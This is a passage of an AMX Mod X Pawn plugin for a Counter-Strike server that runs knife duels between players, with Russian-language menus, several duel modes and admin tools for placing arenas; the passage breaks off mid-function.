new bool:slash_attack[33];
new bool:stab_attack[33];
new bool:hs_attack[33];
new bool:Non_Stop[33];

new bool:most = false

new const ARENA_FILE_AAA[] = "%s/plat_A/%s.cfg"
new const ARENA_FILE_BBB[] = "%s/plat_B/%s.cfg"
new const DATE[] = "models/darkduelplatform.mdl"
new const DATE2[] = "models/darkduelbridge1.mdl"


public plugin_init() 
{
	register_plugin(PLUGIN, VERSION, AUTHOR)

	register_clcmd("say /duel","Duel_Menu");
	register_clcmd("say /arena","EntityMenu");
	register_clcmd("endduel","End_Duel");

	rounds = register_cvar("rush_rounds","10")

	g_MenuCallback = menu_makecallback("menuitem_callback");
	RegisterHam(Ham_Touch, "weaponbox", "hamTouchWeapon");
	RegisterHam(Ham_Touch, "armoury_entity", "hamTouchWeapon");
	RegisterHam(Ham_Touch, "weapon_shield", "hamTouchWeapon");
	RegisterHam(Ham_TakeDamage, "player", "TakeDMG");
	RegisterHam(Ham_Killed, "player", "PlayerKilled");
	RegisterHam(Ham_Spawn, "player", "PlayerSpawn", 1);
	RegisterHam(Ham_Player_Jump, "player", "pfw_UpdateClientData");
	RegisterHam(Ham_Player_Duck, "player", "pfw_UpdateClientData");
	register_forward(FM_PlayerPreThink,"FW_Prethink")

	Load_Coords()
	Load_Coords2()

	maxplayers = get_maxplayers();

	register_forward(FM_CmdStart,"Fw_Cmd_Slash");
	register_forward(FM_CmdStart,"Fw_Cmd_Stab");

	register_forward(FM_CmdStart,"NonStop");

	register_forward(FM_UpdateClientData, "pfw_UpdateClientData", 1)

	RegisterHam(Ham_TraceAttack, "player", "Forward_TraceAttack");

	get_mapname(mapid,charsmax(mapid))


	if(containi(mapid,"35hp") != -1)
		map_default_hp = 35
	else if(containi(mapid,"1hp") != -1)
		map_default_hp = 1
	else map_default_hp = 35

}

public plugin_cfg()
{

	new cfgdir[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	formatex(urlfile, charsmax(urlfile), "%s/plat_A", cfgdir)
	if(!dir_exists(urlfile))
	{
		mkdir(urlfile)
		server_print("%sCreated new folder: %s",CHAT_TAG,urlfile)
	} 

	new cfdir[32], urfile[64]
	get_configsdir(cfdir, charsmax(cfdir))
	formatex(urfile, charsmax(urfile), "%s/plat_B", cfdir)
	if(!dir_exists(urfile))
	{
		mkdir(urfile)
		server_print("%sCreated new folder: %s",CHAT_TAG,urfile)
	}
}

public KDC_Menu( id )
{
	new gMenu = menu_create("\yВыбери тип дуэли:", "kdc_menu_handler")

	menu_additem(gMenu, "\wОбычный", "1") 
	menu_additem(gMenu, "\wНон-стоп", "2") 
	menu_additem(gMenu, "\wТолько правой", "3")  
	menu_additem(gMenu, "\wТолько левой", "4")	
	menu_additem(gMenu, "\wТолько в голову", "5")

	menu_display(id, gMenu, 0)
}

public kdc_menu_handler(id, menu, item)	   
{
	if ( item == MENU_EXIT )	
	{
		menu_destroy(menu)	   
		return PLUGIN_HANDLED;   
	}
	switch(item)   
	{		
		case 0: knf_d(id)
		case 1: Dont_Stop(id)
		case 2: Block_Slash(id)
		case 3: Block_Stab(id)
		case 4: Hs_Only(id)
	}
	return PLUGIN_HANDLED;  
}

public Fw_Cmd_Slash(id, uc_handle, seed)
{
	if(!is_user_alive(id) || !slash_attack[id]) 
	   return FMRES_IGNORED; 
  
	new iButtons = get_uc(uc_handle,UC_Buttons);
	new trash[2], iWeapon = get_user_weapon(id,trash[0], trash[1]);
  
	if( (iButtons & IN_ATTACK) && iWeapon == CSW_KNIFE)
	{
		iButtons = iButtons & ~IN_ATTACK;
		set_uc(uc_handle, UC_Buttons, iButtons);
	
		return FMRES_SUPERCEDE;
	}
   
	return FMRES_IGNORED;
}

public Fw_Cmd_Stab(id, uc_handle, seed)
{
	if(!is_user_alive(id) || !stab_attack[id]) 
	   return FMRES_IGNORED; 
  
	new iButtons = get_uc(uc_handle,UC_Buttons);
	new trash[2], iWeapon = get_user_weapon(id,trash[0], trash[1]);
  
	if( (iButtons & IN_ATTACK2) && iWeapon == CSW_KNIFE)
	{
		iButtons = iButtons & ~IN_ATTACK2;
		set_uc(uc_handle, UC_Buttons, iButtons);
	
		return FMRES_SUPERCEDE;
	}
   
	return FMRES_IGNORED;
}

public Forward_TraceAttack(iVictim, iKiller, Float:dmg, Float:dir[3], tr, dmgbit)
{
	if (iVictim == iKiller || !is_user_alive(iKiller) || !hs_attack[iKiller] )
		return FMRES_IGNORED;

	if(iKiller && get_tr2(tr, TR_iHitgroup) != HIT_HEAD)
			
		return HAM_SUPERCEDE;
	
	return HAM_IGNORED;
}

public knf_d(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
	show_dhudmessage(Challenged, "%s выбрал обычный режим!", szName)
	show_dhudmessage(g_Challenge[Challenged], "%s выбрал обычный режим!", szName)
 
}

public Dont_Stop(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		set_task(0.1, "GoToSpawn", Challenged);
		set_task(0.1, "GoToSpawn", g_Challenge[Challenged]);
		Non_Stop[Challenged] = true
		Non_Stop[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим нон-стоп!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим нон-стоп!", szName)
	} 
}

public Block_Slash(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		slash_attack[Challenged] = true
		slash_attack[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим только правой!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим только правой!", szName)
	} 
}

public Block_Stab(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		stab_attack[Challenged] = true
		stab_attack[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим только левой!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим только левой!", szName)
	}
}

public Hs_Only(Challenged) 
{
	get_user_name( Challenged , szName , charsmax( szName ) );

	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		hs_attack[Challenged] = true
		hs_attack[g_Challenge[Challenged]] = true 
		set_dhudmessage( 0, 206, 209, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(Challenged, "%s выбрал режим только в голову!", szName)
		show_dhudmessage(g_Challenge[Challenged], "%s выбрал режим только в голову!", szName)
	}
}

public client_putinserver(id)
{
	his_offline[id] = false

	return PLUGIN_CONTINUE
}

public toggle_offline(id)
{
	switch(his_offline[id])
	{
		case 0:
		{
			his_offline[id] = true
			client_print_color(id, "!g[!tДуэли!g] !tТы !gотключил !tдуэли!");
		}
		default:
		{
			his_offline[id] = false
			client_print_color(id, "!g[!tДуэли!g] !tТы !gснова включил !tдуэли!");
		}
	}
}

public toggle_most(id)
{
	switch(most)   
	{
		case 0: most = true 
		case 1: most = false
	}
}

public FW_Prethink(id)
{

	if (pev(id,pev_button) & IN_ATTACK && pev(id,pev_button) & IN_ATTACK2)
			Duel_Menu(id)
}

public Duel_Menu(id)
{
		new gMenu = menu_create("\yМеню дуэлей", "Duel_menu_handler")
	
		menu_additem(gMenu, "\wВызвать на дуэль", "0")  
		menu_additem(gMenu, "\wСдаться [\yВ дуэли\w]", "0") 
	if(his_offline[id] == false)
	{
		menu_additem(gMenu, "\wОтключить дуэли", "0")
	}
	else
	{
		menu_additem(gMenu, "\wВключить дуэли", "0")
	}
	if(most == true)
	{	
		menu_additem(gMenu, "\wМесто: [\rМост\w]", "0") 
	}
	else
	{
		menu_additem(gMenu, "\wМесто: [\rПлатформа\w]", "0") 
	}
		menu_display(id, gMenu, 0)
}

public Duel_menu_handler(id, menu, item)	   
{
	if ( item == MENU_EXIT )	
	{
		menu_destroy(menu)	   
		return PLUGIN_HANDLED;   
	}
	switch(item)   
	{
		case 0: choose_playermenu(id, id)
		case 1: client_cmd(id, "endduel")
		case 2: toggle_offline(id), Duel_Menu(id)
		case 3: toggle_most(id), Duel_Menu(id)
	}
	return PLUGIN_HANDLED;  
}


public client_command(id)
{
	static const szJoinCommand[] = "jointeam";
	static const szJoinCommand1[] = "chooseteam";
	static szCommand[10];
	read_argv(0, szCommand, 9);
	if (equal(szCommand, szJoinCommand)
	&& CS_TEAM_T <= cs_get_user_team(id) <= CS_TEAM_CT)
	{
		return PLUGIN_HANDLED;
	}
	if (equal(szCommand, szJoinCommand1))
	{
		return PLUGIN_HANDLED;
	}
		return PLUGIN_CONTINUE;
}  

public hamTouchWeapon(id)
{
	return 4;
}
public TakeDMG(victim, idinflictor, attacker, Float:damage, Float:direction[3], tracehandle, damagebits)
{
	if (victim != attacker)
	{
		if (in_Duel[victim] && !in_Duel[attacker])
		{
			return 4;
		}
	}
	return 1;
}

public PlayerKilled(victim, killer, shouldgib)
{
	if (is_user_alive(killer))
	{
		new victimname[32] , attackername[32];
		get_user_name(victim, victimname, 31);
		get_user_name(killer, attackername, 31);
		if (victim != killer && killer != 0 )
		{
			if (in_Duel[killer] && in_Duel[victim])
			{
				if (killer)
				{
					g_DuelK[killer]+=1;
				}
				if (g_Challenge[killer])
				{
					g_DuelC[g_Challenge[killer]]+=1;
				}
			}
		}
		if (in_Duel[killer] && in_Duel[victim])
		{
			if(g_DuelK[killer]<get_pcvar_num(rounds) && g_DuelC[g_Challenge[killer]]<get_pcvar_num(rounds))
			{
				if (!g_Challenge[victim])
				{
					return PLUGIN_HANDLED;
				}
				else
				{
					return PLUGIN_HANDLED;
				}
			}
			else
			{
				if (victim)
				{
					client_print_color(0, "!t[!gДуэли!t] ^1%s !t%i!g:!t%i ^1%s!t. Победил - !g%s",
					attackername,
					g_DuelC[g_Challenge[killer]],
					g_DuelK[victim],
					victimname,
					attackername);
					DisableChecks(victim);
					set_task(0.5, "GoToSpawn", killer);
					set_task(0.5, "GoToSpawn", victim);
				}
				if (g_Challenge[victim])
				{
					client_print_color(0, "!t[!gДуэли!t] ^1%s !t%i!g:!t%i ^1%s!t. Победил - !g%s",
					attackername,
					g_DuelK[killer],
					g_DuelC[g_Challenge[victim]],
					victimname,
					attackername);
					DisableChecks(g_Challenge[victim]);
					set_task(0.5, "GoToSpawn", killer);
					set_task(0.5, "GoToSpawn", victim);
				}
				g_DuelC[killer] = 0;
				g_DuelK[victim] = 0;
				g_DuelC[victim] = 0;
				g_DuelK[killer] = 0

				slash_attack[victim] = false 
				slash_attack[g_Challenge[victim]] = false 
				stab_attack[victim] = false 
				stab_attack[g_Challenge[victim]] = false 
				hs_attack[victim] = false 
				hs_attack[g_Challenge[victim]] = false
				Non_Stop[victim] = false 
				Non_Stop[g_Challenge[victim]] = false
				 
				slash_attack[killer] = false 
				slash_attack[g_Challenge[killer]] = false 
				stab_attack[killer] = false 
				stab_attack[g_Challenge[killer]] = false 
				hs_attack[killer] = false 
				hs_attack[g_Challenge[killer]] = false 
				Non_Stop[killer] = false 
				Non_Stop[g_Challenge[killer]] = false
			}
		}
	}
}

public PlayerSpawn(id)
{
	if (is_user_alive(id) && in_Duel[id] && is_user_alive(g_Challenge[id] && in_Duel[g_Challenge[id]]))
	{
		whileinduel(id);
		whileinduel(g_Challenge[id]);
		set_user_health(id, map_default_hp);
		set_user_health(g_Challenge[id], map_default_hp);
	}
}

public whileinduel(id)
{

	switch (g_Area[id])
	{
		case 1:
		{
			set_spawn_positions(id,vOrigin)
			set_spawn_positions(g_Challenge[id],vOrigin)
		}
		case 2:
		{
			set_spawn_positions(id,fOrigin)
			set_spawn_positions(g_Challenge[id],fOrigin)

		}
	}
}

public GoToSpawn(killer) {ExecuteHamB(Ham_CS_RoundRespawn, killer);}
public DisableChecks(id)
{	
	if(in_Duel[id])
	{
		if (!g_Area[id])
		{
			switch (g_Area[g_Challenge[id]])
			{
				case 1:
				{
					Arena1in = false;
				}
				case 2:
				{
					Arena2in = false;
				}
			}
						dArena(g_Area[g_Challenge[id]]);
			g_Area[g_Challenge[id]] = 0;
		}
		else
		{
			switch (g_Area[id])
			{
				case 1:
				{
					Arena1in = false;
				}
				case 2:
				{
					Arena2in = false;
				}
			}
						dArena(g_Area[id])	
			g_Area[id] = 0;
		}
		in_Duel[g_Challenge[id]] = false;
		in_Duel[id] = false;
		slash_attack[id] = false; 
		slash_attack[g_Challenge[id]] = false ;
		stab_attack[id] = false ;
		stab_attack[g_Challenge[id]] = false ;
		hs_attack[id] = false ;
		hs_attack[g_Challenge[id]] = false;
		Non_Stop[id] = false ;
		Non_Stop[g_Challenge[id]] = false  ;

	}
	if(g_Challenge[id])
	{
		g_Challenge[g_Challenge[id]] = 0;
		g_Challenge[id] = 0;
	}
}
public client_disconnect(id)
{
	new cname[32], ccname[32];
	get_user_name(g_Challenge[id], ccname, 31);
	get_user_name(g_Challenge[g_Challenge[id]], cname, 31);
	if (in_Duel[g_Challenge[id]])
	{
		set_task(0.5, "GoToSpawn", g_Challenge[id]);
		client_print_color(g_Challenge[id], "!t[!gДуэли!t] !g%s !tвышел с сервера.", cname);
	}
	if (in_Duel[g_Challenge[g_Challenge[id]]])
	{
		set_task(0.5, "GoToSpawn", g_Challenge[g_Challenge[id]]);
		client_print_color(g_Challenge[g_Challenge[id]], "!t[!gДуэли!t] !g%s !tвышел с сервера.", ccname);
	}
	g_DuelC[g_Challenge[id]] = 0;
	g_DuelC[id] = 0;
	g_DuelK[g_Challenge[id]] = 0;
	g_DuelK[id] = 0;

	slash_attack[id] = false 
	slash_attack[g_Challenge[id]] = false 
	stab_attack[id] = false 
	stab_attack[g_Challenge[id]] = false 
	hs_attack[id] = false 
	hs_attack[g_Challenge[id]] = false
	Non_Stop[id] = false 
	Non_Stop[g_Challenge[id]] = false  

	DisableChecks(id);
}

public End_Duel(id)
{
	new his_name[33]
	get_user_name(id,his_name[id],charsmax(his_name))

	if(in_Duel[id])
	{
		set_task(0.5, "GoToSpawn", id);
		set_task(0.5, "GoToSpawn", g_Challenge[id]);
		g_DuelC[g_Challenge[id]] = 0;
		g_DuelC[id] = 0;
		g_DuelK[g_Challenge[id]] = 0;
		g_DuelK[id] = 0;
		DisableChecks(id);

		Non_Stop[id] = false;
		Non_Stop[g_Challenge[id]] = false;
		hs_attack[id] = false;
		hs_attack[g_Challenge[id]] = false;
		stab_attack[id] = false;
		stab_attack[g_Challenge[id]] = false;
		slash_attack[id] = false;
		slash_attack[g_Challenge[id]] = false;

		set_dhudmessage( 255, 0, 0, -1.0, 0.1, 0, 1.0, 5.0, 0.1, 0.2, false )
		show_dhudmessage(0, "%s Сдался в дуэли! Лох!", his_name[id])
		client_print_color(0, "!g[!tДуэли!g] %s !tрешил сдаться.", his_name[id]);
	}

}
public choose_playermenu(Challenger, Challenged)
{
	if (!in_Duel[Challenger] && is_user_alive(Challenger))
	{
		if (Arena1in && Arena2in)
		{
			client_print_color(Challenger, "!t[!gДуэли!t] Все арены заняты.");
			return PLUGIN_HANDLED
		}
	}
		if(his_offline[Challenged])
		{
			client_print_color(Challenger,"!t[!gДуэли!t] Ты не можешь вызывать на дуэль, когда ты их !gотключил.")
			return PLUGIN_HANDLED
		}
		if(!available_duelers(Challenged))
		{
			client_print_color(Challenged,"%s^4Некого^1 вызвать на дуэль.",CHAT_TAG)
		return PLUGIN_HANDLED
		}
	if (in_Duel[Challenger])
	{
		return PLUGIN_HANDLED
	}
	if (!is_user_alive(Challenger))
	{
		return PLUGIN_HANDLED
	}


	new menu = menu_create( "\y[\rДуэль\y]", "choose_playermenu_handler");
	menu_additem(menu, "\r[!]\yОбновить список\r[!]^n\wВыбери, кого вызвать:", "0", 0);
	new players[32], pnum;
	new szName[32], szTempid[32], Desc[64];
	get_players(players, pnum);
	for (new i; i<pnum; i++)
	{
		Challenged = players[i];
		if (is_user_alive(Challenged) && (Challenger != Challenged))
		{
			get_user_name(Challenged, szName, charsmax(szName));
			formatex(Desc, charsmax(Desc), in_Duel[Challenged] ? "\d%s \y[\rВ дуэли\y]" : "%s", szName);

				if(his_offline[Challenged])
				{
						formatex(Desc, charsmax(Desc), his_offline[Challenged] ? "\d%s \y[\rОтключил дуэли\y]" : "%s", szName);
					}
			num_to_str(Challenged, szTempid, charsmax(szTempid));
			menu_additem(menu, Desc, szTempid, 0, g_MenuCallback);
		}

	}
	menu_setprop(menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(Challenger, menu, 0);
	return PLUGIN_HANDLED
}

public menuitem_callback(Challenger, menu, item)
{
	new data[6], szName[64];
	new access, callback;
	menu_item_getinfo(menu, item, access, data, charsmax(data), szName,charsmax(szName), callback);
	new tempid = str_to_num(data);
	if (in_Duel[tempid] || !is_user_alive(tempid))
	{
		return ITEM_DISABLED;
	}
	if(his_offline[tempid])
	{
		return ITEM_DISABLED;
	}
	return ITEM_ENABLED;
}
public choose_playermenu_handler(Challenger, menu, item)
{
	if (item == MENU_EXIT)
	{
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new data[6], szName[64];
	new access, callback;
	menu_item_getinfo(menu, item, access, data,charsmax(data), szName, charsmax(szName), callback);
	new tempid = str_to_num(data);
	switch(item)
		{
			case 0:
			{
			choose_playermenu(Challenger, Challenger);
		}
	}
	if (is_user_alive(tempid) && !in_Duel[tempid])
	{
		g_Challenge[Challenger] = tempid;
		g_Challenge[tempid] = Challenger;
		Questionm(tempid);
	}

	menu_destroy(menu);
	return PLUGIN_HANDLED;
}
public Questionm(Challenged) 
{
	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		new szAddItemText[555 char], ChallengerName[32];
		get_user_name(g_Challenge[Challenged], ChallengerName, 31);
		format(szAddItemText, charsmax(szAddItemText), "\r%s \wвызывает тебя на дуэль.^n\yПринять?", ChallengerName);
		new menu = menu_create(szAddItemText, "Questionm_handler")
		menu_additem(menu, "\wДа!", "1", 0);
		menu_additem(menu, "\wНет!", "2", 0);
		menu_setprop(menu, MPROP_PERPAGE, 0);
		menu_display(Challenged, menu, 0);
		return PLUGIN_HANDLED
	}
	else 
	{ 
		return PLUGIN_HANDLED 
	}
	return PLUGIN_HANDLED
}
public Questionm_handler(Challenged, menu, item)
{	
	new data[6], szName[64], ccname[32], cname[32];
	new access, callback;
	menu_item_getinfo(menu, item, access, data, charsmax(data), szName, charsmax(szName), callback);
	new key = str_to_num(data);
	get_user_name(Challenged, ccname, 31);
	get_user_name(g_Challenge[Challenged], cname, 31);
	switch(key)
	{
		case 1:
		{
			if (in_Duel[g_Challenge[Challenged]])
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gДуэли!t] !gТы опоздал, !t%s !gначал другую дуэль.", cname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (!is_user_alive(Challenged))
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gДуэли!t] !gТы !tмёртв.", ccname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (!is_user_alive(g_Challenge[Challenged]))
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gДуэли!t] !g%s !tмертв или вышел.", cname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (task_exists(Challenged))
			{
				menu_destroy(menu);
				remove_task(Challenged);
			}
			if (!g_Challenge[Challenged])
			{
				menu_destroy(menu);
				return PLUGIN_HANDLED
			}
			else
			{
				choose_area(Challenged);
				client_print_color(0, "!t[!gДуэли!t] !tНачалась дуэль !g%s !tпротив !g%s!t.", ccname, cname);
				in_Duel[Challenged] = true;
				in_Duel[g_Challenge[Challenged]] = true;
			}
			return PLUGIN_HANDLED
		}
		case 2:
		{
			if (task_exists(Challenged))
			{
				menu_destroy(menu);
				remove_task(Challenged);
			}
			client_print_color(g_Challenge[Challenged], "!t[!gДуэли!t] !g%s !tотклонил твой вызов.", ccname);
			DisableChecks(Challenged);
			return PLUGIN_HANDLED
		}
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED
}

public choose_area(Challenged)
{
	if (cs_get_user_team(g_Challenge[Challenged]) == cs_get_user_team(Challenged))
	{
			switch (cs_get_user_team(g_Challenge[Challenged]))
		{
				case (CS_TEAM_CT):
			{
				cs_set_user_team(Challenged, CS_TEAM_T, CS_T_LEET);
				}
				case (CS_TEAM_T):
			{
				cs_set_user_team(Challenged, CS_TEAM_CT, CS_CT_GIGN);
	   			}
			}
	}
	g_Area[Challenged] = 1;
	switch (g_Area[Challenged])
	{
		case 1:
		{
			if (Arena1in) { g_Area[Challenged]+=1; }
			switch (g_Area[Challenged])
			{
				case 2:
				{
					if (Arena2in)
					{
						new cccname[32];
						get_user_name(Challenged, cccname, 31);
						client_print_color(Challenged, "!t[!gДуэли!t] Все арены заняты, ты слишком долго думаешь.");
						client_print_color(g_Challenge[Challenged], "!t[!gДуэли!t] Все арены заняты !g%s !tслишком долго думал.", cccname);
						DisableChecks(Challenged);
					}
				}
			}
		}
	}
	startduel(Challenged);
}


public startduel(Challenged)
{
	if (task_exists(Challenged))
	{
		remove_task(Challenged);
	}

	set_user_health(Challenged, map_default_hp);
	set_user_health(g_Challenge[Challenged], map_default_hp);
   	set_user_armor(Challenged, 0);
	set_user_armor(g_Challenge[Challenged], 0);
	strip_user_weapons(Challenged);
	strip_user_weapons(g_Challenge[Challenged]);
	give_item(Challenged, "weapon_knife");
	give_item(g_Challenge[Challenged], "weapon_knife");
	set_user_maxspeed(Challenged, 250.0);
	set_user_maxspeed(g_Challenge[Challenged], 250.0);
	set_user_gravity(Challenged, 1.0);
	set_user_gravity(g_Challenge[Challenged], 1.0);

	KDC_Menu( g_Challenge[Challenged] )

	switch (g_Area[Challenged])
	{
		case 1:
		{
			Arena1in = true;
			makewall1()

			set_spawn_positions(Challenged,vOrigin)
			set_spawn_positions(g_Challenge[Challenged],vOrigin)
						
		}
		case 2:
		{
			Arena2in = true;
			makewall2()

			set_spawn_positions(Challenged,fOrigin)
			set_spawn_positions(g_Challenge[Challenged],fOrigin)
		}

	}
	most = false
	return PLUGIN_HANDLED
}



public plugin_precache() 
{
	precache_model(DATE)
	precache_model(DATE2)
}

public client_PostThink(id)
{
	if( is_user_alive(id) && in_Duel[id] )
	{
		new flags = entity_get_int(id, EV_INT_flags);

		new Float:origin[3], Float:dest[3];
		entity_get_vector(id, EV_VEC_origin, origin);


		dest[0] = origin[0];
		dest[1] = origin[1];
		dest[2] = origin[2] + 340.0;
		new ptr = create_tr2();
		engfunc(EngFunc_TraceHull, origin, dest, 0, flags & FL_DUCKING ? HULL_HEAD : HULL_HUMAN, id, ptr);
		new Float:flFraction;
		get_tr2(ptr, TR_flFraction, flFraction);
		if( flFraction >= 1.0)
		{

			ExecuteHamB(Ham_CS_RoundRespawn, id)
			//user_kill(id)
			client_print_color(id, "!g[!tДуэли!g] !tНе покидай !gарену.");

			free_tr2(ptr);
			return;
		}

		get_tr2(ptr, TR_vecPlaneNormal, dest);
		free_tr2(ptr);
	}
}

public NonStop(id)
{
	if(in_Duel[id] && Non_Stop[id] )
	{
		set_user_health(id, 65)

		if(get_user_team(id) == 1)
		{
			fVelocity[0] = 260.0;
			fVelocity[1] = 0.0;
			fVelocity[2] = 0.0;

			set_pev( id, pev_velocity, fVelocity )
		}
		if(get_user_team(id) == 2)
		{
			fVelocity[0] = -260.0;
			fVelocity[1] = 0.0;
			fVelocity[2] = 0.0;

			set_pev( id, pev_velocity, fVelocity )
		}
	}
}

public pfw_UpdateClientData(id, weapons, cd)
{
	if(in_Duel[id] && Non_Stop[id] )
	{
		set_cd(cd, CD_flNextAttack, 1.0)
		  
		if((entity_get_int(id, EV_INT_button) & (IN_BACK | IN_MOVELEFT | IN_MOVERIGHT)))
		set_cd(cd, CD_MaxSpeed, 1.0)
		static iOldbuttons; 
		iOldbuttons = entity_get_int(id, EV_INT_oldbuttons) 
			if( !(iOldbuttons & IN_JUMP & IN_DUCK) ) 
			{ 
			entity_set_int(id, EV_INT_oldbuttons, iOldbuttons | IN_JUMP | IN_DUCK) 
			return HAM_HANDLED 
			} 
		return HAM_IGNORED 
	}
	return FMRES_IGNORED
}

stock dArena(const iarena)
{
	new ent = -1;
	switch (iarena)
	{
		case 1:
		{
			while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
			{
				remove_entity(ent);
			}
		}
		case 2:
		{
			while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
			{
				remove_entity(ent);
			}
		}
	}
}


stock client_print_color(const id, const input[], any:...)  
{  
	new count = 1, players[32];  
	static msg[191];  
	vformat(msg, 190, input, 3);
	replace_all(msg, 190, "!g", "^x04"); // Green Color  
	replace_all(msg, 190, "!y", "^x01"); // Default Color  
	replace_all(msg, 190, "!t", "^x03"); // Team Color  
	if (id) players[0] = id; else get_players(players, count, "ch");  
	{  
		for (new i = 0; i < count; i++)  
		{  
			if (is_user_connected(players[i]))  
			{  
				message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);  
				write_byte(players[i]);  
				write_string(msg);  
				message_end();  

			}  
		}  
	}  
}




public EntityMenu( id )
{
	new flags = get_user_flags(id)
	if(!(flags & ADMIN_RCON))
	{
		client_print(id,print_chat,"!gУ тебя !tнет доступа !gк настройке дуэлей")
		return PLUGIN_HANDLED
	}
	new gMenu = menu_create("\yНастройка дуэли", "entity_menu")
	
	menu_additem(gMenu, "\wАрена A", "0") 
	menu_additem(gMenu, "\wАрена B", "0") 
	menu_additem(gMenu, "\wДвигать арену", "0")  
	menu_additem(gMenu, "\wСохранить арену A", "0") 
	menu_additem(gMenu, "\wСохранить арену B", "0")	
	menu_additem(gMenu, "\wУдалить арену", "0")

	menu_display(id, gMenu, 0)

	return PLUGIN_HANDLED;  
}

public entity_menu(id, menu, item, code)	   
{
	if ( item == MENU_EXIT )	
	{
		menu_destroy(menu)	   
		return PLUGIN_HANDLED;   
	}
	switch(item)   
	{
		case 0: Make_Entity(id)
		case 1: Make_Entity2(id)
		case 2: move_menu(id,code)
		case 3: save_first_arena(id)
		case 4: save_second_arena(id)
		case 5: remove_arena(id)
	}
	return PLUGIN_HANDLED;  
}

public Make_Entity(id)
{	
	if(!is_user_connected(id))
		return PLUGIN_HANDLED

	static Float:xorigin[3];

	get_user_hitpoint(id,xorigin)

	Entity = create_entity( "info_target" );

	if(fake_arena_exists_a(id))
	{
		client_print_color(id,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if( is_valid_ent(Entity) )
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -350.0, -230.0, 0.0 }, Float:{ 350.0, 230.0, 10.0 } );		
		entity_set_origin( Entity, xorigin );
	}  
	EntityMenu(id)

	return PLUGIN_HANDLED
}

public Make_Entity2(id)
{	
	if(!is_user_connected(id))
		return PLUGIN_HANDLED

	static Float:xorigin[3];

	get_user_hitpoint(id,xorigin)

	Entity = create_entity( "info_target" );

	if(fake_arena_exists_b(id))
	{
		client_print_color(id,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if( is_valid_ent(Entity) )
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -350.0, -230.0, 0.0 }, Float:{ 350.0, 230.0, 10.0 } );		
		
		entity_set_origin( Entity, xorigin );
	}  
	EntityMenu(id)

	return PLUGIN_HANDLED
}

public remove_arena(id)
{
	new ent = -1;

	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{
	remove_entity(ent);
	}
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{
	remove_entity(ent);
	}
	EntityMenu(id)
}

public move_menu(id,code)
{
	new menu
	menu = menu_create( "\rMove arena:", "move_handler" );
   
	new nameu[32];
	new code_t[32];
	num_to_str(code,code_t,charsmax(code_t))
	formatex(nameu,charsmax(nameu), "Move up");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move down");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move front");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move back");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move right");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move left");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
	menu_additem(menu, nameu, code_t, 0);

	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}

public move_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		return PLUGIN_HANDLED;
	}
   
	new szData[32], szName[64];
